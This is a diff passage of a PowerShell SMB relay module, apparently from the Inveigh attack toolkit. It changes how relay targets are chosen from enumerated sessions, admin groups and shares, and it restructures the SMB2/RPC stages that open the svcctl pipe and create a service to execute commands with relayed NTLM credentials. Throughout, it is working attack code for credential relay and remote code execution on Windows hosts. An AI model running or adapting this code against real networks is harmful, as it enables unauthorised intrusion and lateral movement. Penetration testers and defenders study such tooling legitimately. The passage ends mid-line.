-IncludeEqual -PassThru + } + $i = 0 $random_index_history = @() @@ -2376,17 +2403,40 @@ $SMB_relay_functions_scriptblock = } - if(!($target -as [IPAddress]) -as [Bool]) + if($target -and !($target -as [IPAddress]) -as [Bool]) { try { - $target = [System.Net.Dns]::GetHostEntry($target).AddressList[0].IPAddressToString + $IP_list = [System.Net.Dns]::GetHostEntry($target) - if($target.IsIPv6LinkLocal) + foreach($entry in $IP_list.AddressList) + { + + if(!$entry.IsIPv6LinkLocal) + { + $target_IPv4 = $entry.IPAddressToString + } + else + { + $target_IPv6 = $entry.IPAddressToString + } + + if($target_IPv4) + { + $target_IPv6 = $null + } + + } + + if($target_IPv6) { $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] IPv6 target $target not supported") > $null - $target = $null + $target_IPv6 = $null + } + elseif($target_IPv4) + { + $target = $target_IPv4 } } @@ -2410,15 +2460,15 @@ $SMB_relay_functions_scriptblock = if($SMB_port_test_success) { $SMB_negotiate = Invoke-SMBNegotiate $target - $SMB_client = $SMB_negotiate[0] + $client = $SMB_negotiate[0] $SMB2 = $SMB_negotiate[1] $signing = $SMB_negotiate[2] $SMB_server = $true - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index - $inveigh.enumeration_data[$target_index]."SMB2.1" = $SMB2 - $inveigh.enumeration_data[$target_index].Signing = $signing - $inveigh.enumeration_data[$target_index]."SMB Server" = $SMB_server - $inveigh.enumeration_data[$target_index]."Targeted" = $(Get-Date -format s) + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1 + $inveigh.enumerated_data[$target_index]."SMB2.1" = $SMB2 + $inveigh.enumerated_data[$target_index].Signing = $signing + $inveigh.enumerated_data[$target_index]."SMB Server" = $SMB_server + $inveigh.enumerated_data[$target_index]."Targeted" = $(Get-Date -format s) if(!$SMB2 -and $signing) { @@ -2435,15 +2485,15 @@ $SMB_relay_functions_scriptblock = } - return $SMB_client,$target + return $client,$target } - if($inveigh.target_list -gt 1) + if($inveigh.target_list.Count -gt 1 -or (!$inveigh.target_list -and $inveigh.enumerated_data)) { - $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Selecting a target") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Searching for a target") > $null } - if(!($inveigh.enumeration_data | Where-Object {$_.IP -eq $SourceIP})) + if(!($inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP})) { try @@ -2461,30 +2511,45 @@ $SMB_relay_functions_scriptblock = { $targets = $null $target = $null - $initiator_sessions = $inveigh.enumeration_data | Where-Object {($_.IP -eq $SourceIP -or $_.Hostname -eq $source_hostname) -and $_.Sessions} | Select-Object -expand Sessions + $target_hostnames = @() + if($source_hostname) + { + [Array]$initiator_sessions = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $source_hostname -and $_.Sessions} | Select-Object -expand Sessions + } + else + { + [Array]$initiator_sessions = $inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP -and $_.Sessions} | Select-Object -expand Sessions + } + + $initiator_sessions = $initiator_sessions | Sort-Object {Get-Random} + # check if sessions match any local admin group members if($initiator_sessions) { - + ForEach($session in $initiator_sessions) { - $target_hostnames = $inveigh.enumeration_data | Where-Object {$_."Administrator Users" -contains $session -and !$_.IP} | Select-Object -expand Hostname + $target_hostnames = $inveigh.enumerated_data | Where-Object {$_."Administrator Users" -contains $session -and !$_.IP} | Select-Object -expand Hostname if($target_hostnames) { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group match found for session $session on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv - $SMB_client = $SMB_target_results[0] + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } else { - $targets = $inveigh.enumeration_data | Where-Object {$_."Administrator Users" -contains $session -and $_.IP} | Select-Object -expand IP + $targets = $inveigh.enumerated_data | Where-Object {$_."Administrator Users" -contains $session -and $_.IP} | Select-Object -expand IP if($targets) { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group match found for session $session on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv - $SMB_client = $SMB_target_results[0] + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } @@ -2495,7 +2560,7 @@ $SMB_relay_functions_scriptblock = } # check if sessions belong to groups that match any local admin group members - if($initiator_sessions -and !$targets -and $target) + if($initiator_sessions -and !$targets -and !$target) { function Get-SessionGroup @@ -2532,31 +2597,44 @@ $SMB_relay_functions_scriptblock = return $group_list } + $session_groups = @() + $target_hostnames = @() + $targets = @() + ForEach($session in $initiator_sessions) { $session_groups += Get-SessionGroup $session } - ForEach($group in $session_groups) + if($session_groups) { - $target_hostnames = $inveigh.enumeration_data | Where-Object {$_."Administrator Groups" -contains $group -and !$_.IP} | Select-Object -expand Hostname - if($target_hostnames) - { - $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv - $SMB_client = $SMB_target_results[0] - $target = $SMB_target_results[1] - } - else + ForEach($group in $session_groups) { - $targets = $inveigh.enumeration_data | Where-Object {$_."Administrator Groups" -contains $group -and $_.IP} | Select-Object -expand IP - - if($targets) + $target_hostnames = $inveigh.enumerated_data | Where-Object {$_."Administrator Groups" -contains $group -and !$_.IP} | Select-Object -expand Hostname + + if($target_hostnames) { - $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv - $SMB_client = $SMB_target_results[0] + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group nested match found for $group from session $session on:") > $null + $inveigh.output_queue.Add(($target_hostnames -join ",")) > $null + $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } + else + { + $targets = $inveigh.enumerated_data | Where-Object {$_."Administrator Groups" -contains $group -and $_.IP} | Select-Object -expand IP + + if($targets) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Administrator group nested match found for $group from session $session on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null + $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv + $client = $SMB_target_results[0] + $target = $SMB_target_results[1] + } + + } } @@ -2567,29 +2645,43 @@ $SMB_relay_functions_scriptblock = # check if mapped netsession match any local admin group members if(!$targets -and !$target) { - $initiator_mapped_net_sessions = $inveigh.enumeration_data | Where-Object {($_.IP -eq $SourceIP -or $_.Hostname -eq $source_hostname) -and $_."NetSessions Mapped"} | Select-Object -expand "NetSessions Mapped" - + + if($source_hostname) + { + [Array]$initiator_mapped_net_sessions = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $source_hostname -and $_."NetSessions Mapped"} | Select-Object -expand "NetSessions Mapped" + } + else + { + [Array]$initiator_mapped_net_sessions = $inveigh.enumerated_data | Where-Object {$_.IP -eq $SourceIP -and $_."NetSessions Mapped"} | Select-Object -expand "NetSessions Mapped" + } + if($initiator_mapped_net_sessions) { + $target_hostnames = @() + $targets = @() ForEach($session in $initiator_mapped_net_sessions) { - $target_hostnames = $inveigh.enumeration_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and !$_.IP} | Select-Object -expand Hostname + $target_hostnames = $inveigh.enumerated_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and !$_.IP} | Select-Object -expand Hostname if($target_hostnames) { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] NetSession user match found for $session on:") > $null + $inveigh.output_queue.Add(($target_hostnames -join ",")) > $null $SMB_target_results = Test-SMBTarget $target_hostnames $SessionLimitPriv - $SMB_client = $SMB_target_results[0] + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } else { - $targets = $inveigh.enumeration_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and $_.IP} | Select-Object -expand IP + $targets = $inveigh.enumerated_data | Where-Object {($_."Administrator Users" -like "$session@*" -or $_."Administrator Users" -like "*\$session") -and $_.IP} | Select-Object -expand IP if($targets) { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] NetSession user match found for $session on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null $SMB_target_results = Test-SMBTarget $targets $SessionLimitPriv - $SMB_client = $SMB_target_results[0] + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } @@ -2604,12 +2696,14 @@ $SMB_relay_functions_scriptblock = # check if source IP matches any netsessions if(!$targets -and !$target -and $SourceIP) { - $targets = $inveigh.enumeration_data | Where-Object {$_."NetSession" -contains $SourceIP} | Select-Object -expand IP + $targets = $inveigh.enumerated_data | Where-Object {$_."NetSession" -contains $SourceIP} | Select-Object -expand IP if($targets) { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] NetSession IP match found for $SourceIP on:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null $SMB_target_results = Test-SMBTarget $target $SessionLimitUnpriv - $SMB_client = $SMB_target_results[0] + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } @@ -2618,12 +2712,14 @@ $SMB_relay_functions_scriptblock = # get list of systems with custom shares if(!$targets -and !$target) { - $targets = $inveigh.enumeration_data | Where-Object {$_."Shares"} | Select-Object -expand IP + $targets = $inveigh.enumerated_data | Where-Object {$_."Shares"} | Select-Object -expand IP if($targets) { - $SMB_target_results = Test-SMBTarget $targets $SessionLimitShare - $SMB_client = $SMB_target_results[0] + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Searching within the following list of systems hosting custom shares:") > $null + $inveigh.output_queue.Add(($targets -join ",")) > $null + $SMB_target_results = Test-SMBTarget $targets $SessionLimitUnpriv + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } @@ -2632,8 +2728,34 @@ $SMB_relay_functions_scriptblock = # get random target if(!$target -and $TargetMode -eq 'Random') { - $SMB_target_results = Test-SMBTarget $inveigh.target_list $SessionLimitUnpriv - $SMB_client = $SMB_target_results[0] + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Selecting a random target") > $null + + if($inveigh.target_list) + { + $SMB_target_results = Test-SMBTarget $inveigh.target_list $SessionLimitUnpriv + } + else + { + $targets = @() + + foreach($entry in $inveigh.enumerated_data) + { + + if($entry.Hostname) + { + $targets += $entry.Hostname + } + elseif($entry.IP) + { + $targets += $entry.IP + } + + } + + $SMB_target_results = Test-SMBTarget $targets $SessionLimitUnpriv + } + + $client = $SMB_target_results[0] $target = $SMB_target_results[1] } @@ -2654,17 +2776,17 @@ $SMB_relay_functions_scriptblock = $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null } - return $SMB_client,$target + return $client,$target } - function SMBRelayChallenge + function Invoke-SMBRelayChallenge { - param ($SMB_client,$HTTP_request_bytes,$SMB_version,$SMB_process_ID) + param ($client,$HTTP_request_bytes,$SMB_version,$SMB_process_ID) try { - $SMB_client_stream = $SMB_client.GetStream() - $SMB_client_receive = New-Object System.Byte[] 1024 + $client_stream = $client.GetStream() + $client_receive = New-Object System.Byte[] 1024 $message_ID = 2 $tree_ID = 0x00,0x00,0x00,0x00 $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 @@ -2676,10 +2798,10 @@ $SMB_relay_functions_scriptblock = $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null } catch { @@ -2688,21 +2810,21 @@ $SMB_relay_functions_scriptblock = $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null } - return $SMB_client_receive + return $client_receive } - function SMBRelayResponse + function Invoke-SMBRelayResponse { - param ($SMB_client,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID) + param ($client,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID) try { - $SMB_client_receive = New-Object System.Byte[] 1024 + $client_receive = New-Object System.Byte[] 1024 - if($SMB_client) + if($client) { - $SMB_relay_response_stream = $SMB_client.GetStream() + $SMB_relay_response_stream = $client.GetStream() } $message_ID = 3 @@ -2715,35 +2837,38 @@ $SMB_relay_functions_scriptblock = $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_relay_response_stream.Write($client_send,0,$client_send.Length) > $null $SMB_relay_response_stream.Flush() - $SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')) + $SMB_relay_response_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00')) { $SMB_relay_failed = $false $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication successful for $HTTP_username_full on $Target") > $null } else { + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1 + $target_hostname = $inveigh.enumerated_data[$target_index].Hostname + $target_DNS_domain = $inveigh.enumerated_data[$target_index]."DNS Domain" - if($HTTP_NTLM_domain_string -ne '') + if($FailedLoginStrict -eq 'Y' -or ($HTTP_NTLM_domain_string -and ((!$target_hostname -or !$target_DNS_domain) -or ($target_hostname -and $target_DNS_domain -and $target_hostname -ne $target_DNS_domain)))) { - if(!$inveigh.relay_failed_auth_table.ContainsKey($HTTP_username_full)) + if(!$inveigh.relay_failed_login_table.ContainsKey($HTTP_username_full)) { - $inveigh.relay_failed_auth_table.Add($HTTP_username_full,[Array]$target) + $inveigh.relay_failed_login_table.Add($HTTP_username_full,[Array]$target) } else { - $inveigh.relay_failed_auth_table.$HTTP_username_full += $target + $inveigh.relay_failed_login_table.$HTTP_username_full += $target } } $SMB_relay_failed = $true - $SMB_client.Close() + $client.Close() $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type to SMB relay authentication failed for $HTTP_username_full on $Target") > $null } @@ -2759,11 +2884,23 @@ $SMB_relay_functions_scriptblock = return $SMB_relay_failed } - function SMBRelayExecute + function Get-StatusPending + { + param ([Byte[]]$Status) + + if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') + { + $status_pending = $true + } + + return $status_pending + } + + function Invoke-SMBRelayExecute { - param ($SMB_client,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID,$AccessCheck) + param ($client,$SMB_version,$SMB_user_ID,$session_ID,$SMB_process_ID,$AccessCheck) - $SMB_client_receive = New-Object System.Byte[] 1024 + $client_receive = New-Object System.Byte[] 1024 if(!$Service) { @@ -2810,7 +2947,7 @@ $SMB_relay_functions_scriptblock = $SMB_path = "\\" + $Target + "\IPC$" $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 - $SMB_client_stream = $SMB_client.GetStream() + $client_stream = $client.GetStream() $SMB_split_index = 4256 $stage = 'TreeConnect' $message_ID = $inveigh.session_message_ID_table[$inveigh.session_count] @@ -2824,130 +2961,12 @@ $SMB_relay_functions_scriptblock = switch ($stage) { - 'TreeConnect' - { - $message_ID++ - $tree_ID = 0x00,0x00,0x00,0x00 - $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'CreateRequest' - } - - 'CreateRequest' - { - $tree_ID = $SMB_client_receive[40..43] - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes - $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'RPCBind' - } - - 'RPCBind' - { - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB_file_ID = $SMB_client_receive[132..147] - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'ReadRequest' - $stage_next = 'OpenSCManagerW' - } - - 'ReadRequest' - { - Start-Sleep -m 150 - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID - $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $stage = $stage_next - } - else - { - $stage = 'StatusPending' - } - - } - - 'StatusPending' - { - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $stage = $stage_next - } - - } - - 'OpenSCManagerW' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID - $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'ReadRequest' - $stage_next = 'CheckAccess' - } - 'CheckAccess' { - if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + if([System.BitConverter]::ToString($client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') { - $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $SMB_service_manager_context_handle = $client_receive[108..127] $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full has command execution privilege on $target") > $null @@ -2961,13 +2980,13 @@ $SMB_relay_functions_scriptblock = $privileged_user = $HTTP_username_full } - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index - [Array]$privileged_user_list = $inveigh.enumeration_data[$target_index].Privileged + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1 + [Array]$privileged_user_list = $inveigh.enumerated_data[$target_index].Privileged if($privileged_user_list -notcontains $privileged_user) { $privileged_user_list += $privileged_user - $inveigh.enumeration_data[$target_index].Privileged = $privileged_user_list + $inveigh.enumerated_data[$target_index].Privileged = $privileged_user_list } if($AccessCheck) @@ -2986,7 +3005,7 @@ $SMB_relay_functions_scriptblock = } } - elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + elseif([System.BitConverter]::ToString($client_receive[128..131]) -eq '05-00-00-00') { if($Attack -notcontains 'Session') @@ -2994,8 +3013,8 @@ $SMB_relay_functions_scriptblock = $SMB_relay_failed = $true } - $inveigh.output_queue.Add("[!] $(Get-Date -format s) $HTTP_username_full does not have command execution privilege on $Target") > $null - $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full does not have command execution privilege on $Target") > $null + $SMB_service_manager_context_handle = $client_receive[108..127] $SMB_close_service_handle_stage = 2 $message_ID++ $stage = 'CloseServiceHandle' @@ -3006,10 +3025,73 @@ $SMB_relay_functions_scriptblock = } } + + 'CloseRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Service $SMB_service deleted on $Target") > $null + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' + } + + 'CreateRequest' + { + $tree_ID = $client_receive[40..43] + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } 'CreateServiceW' { $message_ID++ + $stage_current = $stage $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data @@ -3019,18 +3101,15 @@ $SMB_relay_functions_scriptblock = $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $stage = 'ReadRequest' - $stage_next = 'StartServiceW' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' } 'CreateServiceW_First' { $SMB_split_stage_final = 